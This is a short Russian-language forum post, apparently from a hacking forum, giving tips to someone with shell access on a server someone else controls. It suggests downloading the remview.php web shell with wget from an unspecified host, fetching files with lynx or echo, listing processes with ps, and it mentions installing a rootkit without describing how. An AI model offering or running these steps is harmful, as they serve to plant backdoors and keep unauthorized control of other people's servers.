Ну тут нужны прямые руки а не банальное знание команд.
Например утилита wget (часто /usr/bin/wget) может скачать по http файл и положить его в папку... Например wget http://.../remview.php -o remview.php
также можно качать файлы lynx'ом (текстовой браузер, мой любимый)
и другими прогами...
/usr/bin/ps пок. список процессов... если тебе нужно поставить хороший руткит, это тоже в аську сдесь долго писать
ещё
можно использовать echo ))

проверь, какие утилиты есть в с-ме: which wget
если все ок, тебе покажут /usr/bin/wget